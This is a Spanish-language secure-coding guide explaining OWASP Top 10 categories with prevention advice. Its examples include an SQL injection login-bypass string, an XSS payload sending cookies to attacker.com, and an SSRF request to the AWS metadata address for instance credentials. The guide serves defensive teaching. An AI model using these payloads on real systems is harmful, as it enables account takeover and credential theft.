Programación segura 101: el OWASP Top 10 de vulnerabilidades explicado
Inyección SQL, XSS, autenticación deficiente: las mismas vulnerabilidades aparecen en las brechas año tras año. Aprende qué son y cómo prevenirlas.
Tabla de contenidos
- Por qué siguen apareciendo las mismas vulnerabilidades
- A01: Control de acceso deficiente
- A02: Fallos criptográficos
- A03: Inyección
- A04: Diseño inseguro
- A07: Fallos de identificación y autenticación
- A05: Configuración de seguridad incorrecta
- Hermana de A03: Cross-Site Scripting (XSS)
- A10: Falsificación de solicitudes del lado del servidor (SSRF)
- Construir un ciclo de desarrollo seguro
Por qué siguen apareciendo las mismas vulnerabilidades
El OWASP Top 10 es una lista mantenida por el Open Web Application Security Project con los riesgos de seguridad más críticos de las aplicaciones web. Se publica desde 2003. Muchas de las mismas vulnerabilidades aparecen década tras década, no porque los desarrolladores las desconozcan, sino porque son fáciles de introducir bajo presión de tiempo y requieren un esfuerzo deliberado para prevenirlas.
Esta guía cubre las entradas más importantes en la práctica de la edición de 2021 del OWASP Top 10.
A01: Control de acceso deficiente
El control de acceso garantiza que los usuarios solo puedan hacer aquello que tienen permitido. El control de acceso deficiente es la vulnerabilidad más común en las aplicaciones reales.
Ejemplos:
- Un usuario cambia
?user_id=123por?user_id=124en la URL y ve el pedido de otra persona - Un endpoint de API que devuelve todos los registros no comprueba si quien lo solicita es su propietario
- Un usuario normal accede a
/admin/delete-userporque la ruta no está protegida
Prevención:
- Aplica el control de acceso en el servidor, nunca en el cliente
- Deniega por defecto: si no hay un permiso explícito, rechaza la solicitud
- Usa control de acceso basado en roles (RBAC) o basado en atributos (ABAC)
- Registra los fallos de control de acceso y alerta ante fallos repetidos
A02: Fallos criptográficos
Antes llamada "Exposición de datos sensibles", esta categoría abarca el cifrado débil o inexistente de datos sensibles.
Ejemplos:
- Contraseñas almacenadas como texto plano o usando MD5/SHA-1 (no diseñados para almacenar contraseñas)
- Datos sensibles transmitidos por HTTP en lugar de HTTPS
- Claves de cifrado incrustadas en el código fuente o subidas a un repositorio
Prevención:
- Usa bcrypt, scrypt o Argon2 para el hashing de contraseñas; nunca MD5, SHA-1 o SHA-256 por sí solos
- Impón HTTPS en todas partes; usa HSTS
- Rota y almacena los secretos en un gestor de secretos (AWS Secrets Manager, HashiCorp Vault, no archivos
.enven los repositorios) - Nunca registres datos sensibles (contraseñas, tokens, números de tarjeta de crédito)
A03: Inyección
Los ataques de inyección se producen cuando se envían datos no fiables a un intérprete como parte de un comando o consulta. La inyección SQL es el ejemplo más famoso, pero la familia incluye la inyección de comandos del sistema operativo, la inyección LDAP y otras.
Ejemplo de inyección SQL:
-- Entrada del usuario: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
-- Devuelve todos los usuarios
Prevención:
- Usa consultas parametrizadas (sentencias preparadas); nunca concatenes la entrada del usuario en el SQL
- Usa un ORM que gestione la parametrización automáticamente
- Valida y sanea todas las entradas
- Aplica el privilegio mínimo a las cuentas de base de datos: la aplicación web no debería conectarse como
root
A04: Diseño inseguro
Esta categoría aborda fallos fundamentales de diseño, no errores de implementación. Un sistema puede estar perfectamente codificado y aun así ser inseguro por diseño.
Ejemplos:
- Un flujo de restablecimiento de contraseña que revela si un correo está registrado (permitiendo la enumeración de cuentas)
- Una API que devuelve todo el objeto de usuario cuando solo se necesita el nombre
- Un sistema sin limitación de intentos de autenticación
Prevención:
- Realiza modelado de amenazas durante el diseño, no después
- Aplica el principio de privilegio mínimo a nivel de arquitectura
- Incluye los requisitos de seguridad junto a los requisitos funcionales
A07: Fallos de identificación y autenticación
La autenticación y la gestión de sesiones deficientes permiten que los atacantes suplanten a los usuarios.
Ejemplos:
- Permitir contraseñas débiles (se acepta "password123")
- No invalidar los tokens de sesión tras cerrar sesión
- Almacenar identificadores de sesión en las URL, que aparecen en los registros del servidor
- No bloquear la cuenta ni limitar los intentos de inicio de sesión
Prevención:
- Impón MFA para todas las cuentas de usuario, especialmente las de administradores
- Usa bibliotecas de autenticación probadas en lugar de crear las tuyas
- Genera tokens de sesión largos y aleatorios; invalídalos al cerrar sesión y tras un tiempo de inactividad
- Implementa limitación de intentos y CAPTCHA en los endpoints de inicio de sesión y registro
A05: Configuración de seguridad incorrecta
La configuración de seguridad incorrecta es el hallazgo más común en las evaluaciones de seguridad. Resulta de configuraciones incompletas, buckets de almacenamiento en la nube abiertos, funciones innecesarias habilitadas, credenciales por defecto y mensajes de error demasiado informativos.
Prevención:
- Refuerza las configuraciones frente a una línea base (CIS Benchmarks)
- Elimina las cuentas por defecto y cambia las contraseñas por defecto
- Deshabilita el listado de directorios, los métodos HTTP innecesarios y los endpoints de depuración en producción
- Usa infraestructura como código para que la configuración sea coherente y auditable
Hermana de A03: Cross-Site Scripting (XSS)
El XSS ocurre cuando un atacante inyecta scripts maliciosos en páginas web que otros usuarios visualizan.
Ejemplo:
Un campo de comentarios almacena <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. Cada usuario que visualiza la página ejecuta el script, enviando su cookie de sesión al atacante.
Tipos:
- XSS almacenado: script malicioso guardado en la base de datos
- XSS reflejado: script incluido en una URL y reflejado en la respuesta
- XSS basado en DOM: el script se ejecuta mediante JavaScript del lado del cliente
Prevención:
- Codifica toda la salida: codifica en HTML los datos del usuario antes de insertarlos en un contexto HTML
- Usa una cabecera de Content Security Policy (CSP) para restringir qué scripts pueden ejecutarse
- Usa frameworks modernos (React, Vue, Angular) que codifican la salida por defecto
- Nunca uses
innerHTMLcon datos no fiables; prefieretextContent
A10: Falsificación de solicitudes del lado del servidor (SSRF)
Las vulnerabilidades SSRF permiten a los atacantes hacer que el servidor envíe solicitudes a destinos no previstos, incluidos servicios internos no accesibles desde internet.
Ejemplo:
Una función de vista previa de URL que solicita http://169.254.169.254/latest/meta-data/ en AWS devuelve las credenciales de la instancia en la nube.
Prevención:
- Valida y usa listas de permitidos para las URL que el servidor va a solicitar
- Bloquea las solicitudes a rangos de IP privadas (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)
- Deshabilita las redirecciones HTTP en las operaciones de solicitud
Construir un ciclo de desarrollo seguro
Corregir vulnerabilidades tras el despliegue es de 10 a 100 veces más caro que prevenirlas durante el desarrollo. Integra la seguridad en el proceso de desarrollo:
- Modela las amenazas de las nuevas funciones antes de escribir código
- Usa linters y herramientas SAST (Semgrep, CodeQL, Bandit) para detectar problemas automáticamente
- Realiza revisiones de código con la seguridad en mente
- Ejecuta herramientas DAST (OWASP ZAP) contra los entornos de pruebas
- Controla las dependencias y actualízalas: muchas brechas explotan vulnerabilidades conocidas en las bibliotecas
La seguridad no es una función que se añade al final. Es un atributo de calidad integrado en cada decisión, desde el diseño hasta el despliegue.